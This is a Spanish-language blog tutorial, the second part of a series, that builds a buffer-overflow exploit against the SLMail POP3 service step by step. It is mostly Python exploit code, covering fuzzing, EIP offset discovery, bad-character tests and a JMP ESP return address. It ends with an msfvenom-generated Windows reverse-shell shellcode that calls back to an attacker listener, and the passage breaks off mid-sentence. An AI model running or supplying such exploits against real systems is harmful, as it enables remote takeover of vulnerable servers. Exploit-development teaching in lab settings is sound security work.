Advertisement

header ads

CREAR TU PRIMER EXPLOIT PARA WINDOWS – PENTESTING (2)

He estado leyendo los comentarios del anterior post y ya comenzaron a juzgar sin haber publicado ningún código y solo haber mostrado como ejemplo a WINDOWS XP en la captura.



He llegado a una conclusión de las personas solo quieren las cosas fáciles, entonces voy a seguir publicando este tema para acabar y publicaré lo que esta publico, iba a publicar unos códigos desarrollados por mi pero creo que aún no lo haré pero bueno continuamos mejor.
En el anterior post nos quedamos sobre el tema FUZZING, hoy vamos a ver que es BUFFER OVERFLOWS.

¿Qué es Buffer Overflows?

Según wikipedia: Buffer Overflows es una anomalía en la que un programa, al escribir datos en un búfer, sobrepasa el límite del búfer y sobrescribe las ubicaciones de memoria adyacentes.
Los búferes son áreas de memoria reservadas para contener datos, a menudo al moverlo de una sección de un programa a otra, o entre programas. Los desbordamientos del búfer a menudo pueden desencadenarse por entradas mal formadas; si uno supone que todas las entradas serán más pequeñas que un determinado tamaño y que el búfer se crea para que tenga ese tamaño, una transacción anómala que produzca más datos podría hacer que escriba más allá del final del búfer. Si esto sobrescribe los datos adyacentes o el código ejecutable, esto puede provocar un comportamiento errático del programa, incluidos errores de acceso a la memoria, resultados incorrectos y bloqueos.





¿Como empezar?

Obviamente vamos usar un NMAP para saber el puerto que podemos explotar en el anterior post he publicado que vamos a usar herramientas creadas puedes pinchar aquí.
En caso de usar nmap seria:
nmap -sV -sC 192.168.1.6
./a.out
Obviamente esto sabremos al saber si tenemos ejecutando la herramienta
Ejemplo:
Ahora vamos a ejecutar “Immunity debugger” y abrimos en File – Attach – Slmail
Luego existe un botón de “Run” o presionar F9 para que comience a correr, una de las razones por las que elegí SLMail para nuestro ejemplo es su fácil comunicación con el protocolo POP3 de texto claro.
Pero primeramente escribamos el exploit para comenzar nuestro TEST de bytes y también usaremos el test para wireshark.
#!/usr/bin/python
import socket
# Crea una matriz de búferes, de 1 a 5900, con incrementos de 200.
buffer=["A"]
counter=100     
while len(buffer) <= 30:
        buffer.append("A"*counter)
        counter=counter+200
for string in buffer:
        print "Fuzzing PASS with %s bytes" % len(string)
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect=s.connect(('192.168.1.6',110))
        s.recv(1024)
        s.send('USER test\r\n')
        s.recv(1024)
        s.send('PASS ' + string + '\r\n')
        s.send('QUIT\r\n')
        s.close()
Recuerda que este script funcionará si el programa esta ejecutando, también recuerda que podes modificarlo en caso de tener usuario y contraseña, pero primeramente vamos a ver como captura en wireshark.
  Recuerda que el protocolo es POP3, ahora vamos a ver que pasa al ejecutar el programa y que pasa con el programa.

Quiero aclarar que el resultado puede cambiar de 2900 – 3100 entonces tenemos que empezar a jugar sobre el resultado, pero lo importante es que el programa queda en modo pausado y el EBP, EIP que queda en 41414141, es decir el programa se bloquea porque está forzado a acceder a una dirección no ejecutable (0x41414141 es la representación hexadecimal de AAAA).




Ahora vamos a confirmar los bytes que detecto son correctos con el siguiente código, por cierto me olvidaba para volver a probar el código tenes que parar SLMAIL, volver activarlo y volver ejecutar el programa con los mismo detalles de attach.
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'A' * 2900

try:
 print "\nSending evil buffer..."
 s.connect(('192.168.1.6',110))
 data = s.recv(1024)
 print data

 s.send('USER N00b' +'\r\n')
 data = s.recv(1024)
 print data

 s.send('PASS ' + buffer + '\r\n')
 data = s.recv(1024)
 print data

 s.close()
 print "\nDone!"
except:
 print "Could not connect to POP3!"
Intenta verificar el código lo más posible en caso de que ocurra un error con el usuario o algún espacio que le falte el código. Entonces aquí tenemos el resultado.
 Hemos verificado que 2900 es la respuesta, vos podes agregar los bytes que quieras en caso de querer comprobar. Los 2900 vienen del anterior código como resultado, tambien queremos comprobar que el resultado al explotar es el mismo con 41414141.
Ahora vamos a ver un poco de concepto

¿Qué es Control EIP?

Control del registro EIP es un paso crucial para el desarrollo de exploits. El EIP es como las riendas de un caballo corriendo. Tirando de las riendas dejaremos que la aplicación va en una dirección, mientras que al hacer clic en la derecha la hará pasar por la otra. Por esta razón, es vital que localicemos esas A que sobrescriben nuestro registro EIP en el búfer.

El método más rápido para identificar estos cuatro bytes es enviar una cadena única de 2700 bytes, identifique los 4 bytes que sobrescriben EIP, y luego ubique esos cuatro bytes en nuestro buffer único. pattern_create.rb es una herramienta de Ruby para crear y ubicar dichos buffers, y se puede encontrar como parte de los scripts en Kali Linux lo podes encontrar con el siguiente comando.
locate pattern_create
Para ejecutarlo
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2900
Recuerda los 2900 son tus bytes anteriores.
Ahora vamos a comprobar colocando un buffer en el código si 4bytes son correctos.
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds'
try:
 print "\nSending evil buffer..."
 s.connect(('192.168.1.6',110))
 data = s.recv(1024)
 s.send('USER username' +'\r\n')
 data = s.recv(1024)
 s.send('PASS ' + buffer + '\r\n')
 s.close()
   print "\ Done. Did you get a reverse shell?"
except:
 print "Could not connect to POP3!"
Con eso verificamos haciendo lo mismo, cerrando el programa, volviendo la conexión SLMAIL y volviendo ejecutar la herramienta y ejecutamos el código y nos entrega el siguiente resultado.
  Ahora nos vamos a enfocar en EIP
 Ahora vamos a usar un script que esta publico en KALI LINUX y lo podemos encontrar
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb
Lo ejecutamos
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2900 -q 39694438
Como resultado obtenemos: [*] Exact match at offset 2606
En caso de una emergencia podemos continuar con el siguiente que aparece en la captura abajo
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2900 -q 44306A44
Como resultado: [*] Exact match at offset 2610
Ahora, la secuencia de comandos de Python se puede modificar de acuerdo con los resultados anteriores:
1) El conjunto de ‘A’ alcanzará la ubicación EIP.
2) EIP se sobrescribirá con cuatro ‘B’s.
3) El resto de la pila se sobrescribirá con ‘C’, donde ESP apunta directamente al comienzo de esta sección.
Ahora usamos el siguiente código
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "A" * 2606 + "B" * 4 + "C" * 90
try:
 print "\nSending evil buffer..."
 s.connect(('192.168.1.6',110))
 data = s.recv(1024)
 s.send('USER username' +'\r\n')
 data = s.recv(1024)
 s.send('PASS ' + buffer + '\r\n')
 s.close()
   print "\ Done. Did you get a reverse shell?"
except:
 print "Could not connect to POP3!"

Hemos agregado
buffer = "A" * 2606 + "B" * 4 + "C" * 90


Ahora podemos usar el siguiente buffer
buffer = "A" * 2606 + "B" * 4 + "C" * (3500 – 2606 - 4)


 3500 fue el primer buffer al comenzar, 2606 es el resultado del primer buffer de resultado, 4 es lo que lo byes ubican.
Sin embargo, al contar esas C, notamos que tenemos un total de 90, no suficiente para contener una carga útil de 350 bytes. Una manera fácil de salir de esto es simplemente intentar
aumentar nuestra longitud de búfer de 2700 bytes a 3500 bytes, y ver si esto da como resultado un mayor espacio de búfer para nuestro shellcode.

Bad Characters

Los siguientes bad characteres son lo siguiente:
"x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10"
"x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20"
"x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30"
"x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40"
"x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50"
"x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60"
"x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70"
"x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80"
"x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90"
"x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0"
"xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0"
"xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0"
"xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0"
"xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0"
"xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0"
"xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Ahora eso vamos agregar a los malos caracteres.
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

#buffer = "A" * 2606 + "B" * 4 + "C" * (3500 - 2606 - 4)
buffer = "A"*2606 + "B"*4+badchars

try:
 print "\nSending evil buffer..."
 s.connect(('192.168.1.6',110))
 data = s.recv(1024)
 s.send('USER username' +'\r\n')
 data = s.recv(1024)
 s.send('PASS ' + buffer + '\r\n')
 s.close()
   print "\ Done. Did you get a reverse shell?"
except:
 print "Could not connect to POP3!"
Hacemos lo mismo paramos el programa y cerramos y volvemos abrir para volver ejecutar el código.
  Ahora vamos a ESP y le damos Follow in Dump para observar el siguiente resultado.
 Ahora, la ejecución del búfer se ha interrumpido justo después de ‘0x09’, por lo que concluimos que ‘0x0A’ también es un mal carácter. Lo que hacemos es borrar 0x0A, vamos a ver como terminamos.
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

#buffer = "A" * 2606 + "B" * 4 + "C" * (3500 - 2606 - 4)
buffer = "A"*2606 + "B"*4+badchars

try:
 print "\nSending evil buffer..."
 s.connect(('192.168.1.6',110))
 data = s.recv(1024)
 s.send('USER username' +'\r\n')
 data = s.recv(1024)
 s.send('PASS ' + buffer + '\r\n')
 s.close()
   print "\ Done. Did you get a reverse shell?"
except:
 print "Could not connect to POP3!"

Volvemos hacer lo mismo y observamos que tenemos otro cambio.
 Ahora, la ejecución del buffer se ha truncado entre ‘0x0C’ y ‘0xE’, por lo que concluimos que ‘0x0D’ también es un mal carácter.
 Volvemos hacer lo mismo y borramos “0x0D” en el script.
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

#buffer = "A" * 2606 + "B" * 4 + "C" * (3500 - 2606 - 4)
buffer = "A"*2606 + "B"*4+badchars

try:
 print "\nSending evil buffer..."
 s.connect(('192.168.1.6',110))
 data = s.recv(1024)
 s.send('USER username' +'\r\n')
 data = s.recv(1024)
 s.send('PASS ' + buffer + '\r\n')
 s.close()
   print "\ Done. Did you get a reverse shell?"
except:
 print "Could not connect to POP3!"
Ahora veremos el resultado ha cambiado.

Para resumir, hay 3 caracteres incorrectos que el compilador interpreta literalmente, su efecto inmediato consiste en truncar la ejecución normal del programa. Una vez eliminado, el buffer se ejecuta correctamente.
0x00 = Null Byte = termina una operación de copia de cadena.
0x0D = Carriage Return = se restablece al comienzo de una línea de texto.
0x0A = Line Feed = avanza por el espacio de una línea.
Ahora vamos a usar el modulo mono, que tenemos el lado de comandos abajo.
!mona modules
El objetivo de esta parte del ataque es encontrar una forma estable de redirigir el flujo de ejecución a la sección de memoria (ahora, llena de ‘Ç’s y apuntada por ESP), donde se ubicará el shellcode.
Una forma de lograr ese objetivo sería encontrar una instrucción JMP ESP localizada en una sección de memoria no sujeta a cambios. Recordemos que técnicas como ASLR o DEP refuerzan las asignaciones de direcciones de memoria en cada reinicio del sistema.
mona.py es una herramienta escrita en Python y disponible con Immunity Debugger que ayuda a encontrar una instrucción JMP ESP confiable.
En primer lugar, se examinan todos los módulos y se identifica que SLMFC.DLL no tiene técnicas de protección de memoria: Rebase = False, SafeSEH = False, ASLR = False.
 Ahora, busquemos el código de instrucción de JMP ESP, para eso utilizamos una herramienta de Kali Linux.
locate nasm_shell.rb
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
 Nuevamente, utilizando mona.py, se busca el módulo SLFC.DLL hasta encontrar una instrucción JMP ESP (\xFF\xE4).
!mona find -s "\XFF\xE4" -m SLMFC.DLL
Se detecta una instrucción JMP ESP en la dirección 5F4A358F.
Ahora buscamos “5F4A358F”
Según lo indicado por mona.py, el JMP ESP se encuentra en 5F4A358F.

Entonces, el conjunto de cuatro ‘B’ en Python exploit es reemplazado por la dirección de memoria 5F4A358F, introducida en orden inverso ‘\8F\x35\x44\x5F’, debido al hecho de que la arquitectura del procesador x86 sigue el formato Little Endian (Byte menos significativo que ocupa la posición más baja de la memoria).
Luego de haber creado podes volver editar el script y volverlo a correr sino comienza a crear una shellcode
En mi caso haré eso:
msfvenom -l payloads
Estamos viendo los payloads que están disponible en Kali Linux y empezamos a crear el nuestro para windows.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d"
a) payload: -p windows/shell_reverse_tcp
b) local host = LHOST = 192.168..0.5 ( La IP del atacante osea tu IP, no de la victima)
c) local port, LPORT = 4444, donde el atacante escucha una conexión inversa de shell
d) format = -f c, lo traduce en el lenguaje C
e) encoding = -e x86/shikata_ga_nai
f)bad characters = \x00\x0A\x0D




Ahora el código en python se redefine para incluir el shellcode. Además, presenta un conjunto de instrucciones NOP (\x90) para garantizar que realmente se ejecutará el shellcode.
buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 10 + shellcode
El código quedaría así después de haber agregado la shellcode.
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

shellcode = (
"\xb8\xb7\x3c\xb1\x53\xda\xda\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x52\x83\xc3\x04\x31\x43\x0e\x03\xf4\x32\x53\xa6\x06\xa2\x11"
"\x49\xf6\x33\x76\xc3\x13\x02\xb6\xb7\x50\x35\x06\xb3\x34\xba"
"\xed\x91\xac\x49\x83\x3d\xc3\xfa\x2e\x18\xea\xfb\x03\x58\x6d"
"\x78\x5e\x8d\x4d\x41\x91\xc0\x8c\x86\xcc\x29\xdc\x5f\x9a\x9c"
"\xf0\xd4\xd6\x1c\x7b\xa6\xf7\x24\x98\x7f\xf9\x05\x0f\x0b\xa0"
"\x85\xae\xd8\xd8\x8f\xa8\x3d\xe4\x46\x43\xf5\x92\x58\x85\xc7"
"\x5b\xf6\xe8\xe7\xa9\x06\x2d\xcf\x51\x7d\x47\x33\xef\x86\x9c"
"\x49\x2b\x02\x06\xe9\xb8\xb4\xe2\x0b\x6c\x22\x61\x07\xd9\x20"
"\x2d\x04\xdc\xe5\x46\x30\x55\x08\x88\xb0\x2d\x2f\x0c\x98\xf6"
"\x4e\x15\x44\x58\x6e\x45\x27\x05\xca\x0e\xca\x52\x67\x4d\x83"
"\x97\x4a\x6d\x53\xb0\xdd\x1e\x61\x1f\x76\x88\xc9\xe8\x50\x4f"
"\x2d\xc3\x25\xdf\xd0\xec\x55\xf6\x16\xb8\x05\x60\xbe\xc1\xcd"
"\x70\x3f\x14\x41\x20\xef\xc7\x22\x90\x4f\xb8\xca\xfa\x5f\xe7"
"\xeb\x05\x8a\x80\x86\xfc\x5d\x6f\xfe\xff\x98\x07\xfd\xff\xb3"
"\x8b\x88\x19\xd9\x23\xdd\xb2\x76\xdd\x44\x48\xe6\x22\x53\x35"
"\x28\xa8\x50\xca\xe7\x59\x1c\xd8\x90\xa9\x6b\x82\x37\xb5\x41"
"\xaa\xd4\x24\x0e\x2a\x92\x54\x99\x7d\xf3\xab\xd0\xeb\xe9\x92"
"\x4a\x09\xf0\x43\xb4\x89\x2f\xb0\x3b\x10\xbd\x8c\x1f\x02\x7b"
"\x0c\x24\x76\xd3\x5b\xf2\x20\x95\x35\xb4\x9a\x4f\xe9\x1e\x4a"
"\x09\xc1\xa0\x0c\x16\x0c\x57\xf0\xa7\xf9\x2e\x0f\x07\x6e\xa7"
"\x68\x75\x0e\x48\xa3\x3d\x3e\x03\xe9\x14\xd7\xca\x78\x25\xba"
"\xec\x57\x6a\xc3\x6e\x5d\x13\x30\x6e\x14\x16\x7c\x28\xc5\x6a"
"\xed\xdd\xe9\xd9\x0e\xf4")

#buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390
buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 10 + shellcode
try:
        print "\nSending evil buffer..."
        s.connect(('192.168.1.6',110))
        data = s.recv(1024)
        s.send('USER username' +'\r\n')
        data = s.recv(1024)
        s.send('PASS ' + buffer + '\r\n')
        s.close()
        print "\ Done. Did you get a reverse shell?"
except:
        print "Could not connect to POP3!"
En el cual estamos reemplazando C por x90 y 10 seria el reemplazo de 390 y shellcode es donde va conectarse.
Ahora vamos a volver a reiniciar el programa de SLMAIL sin abrir debugger y vamos a ver como raciona nuestro exploit.
La conexión tuya sera
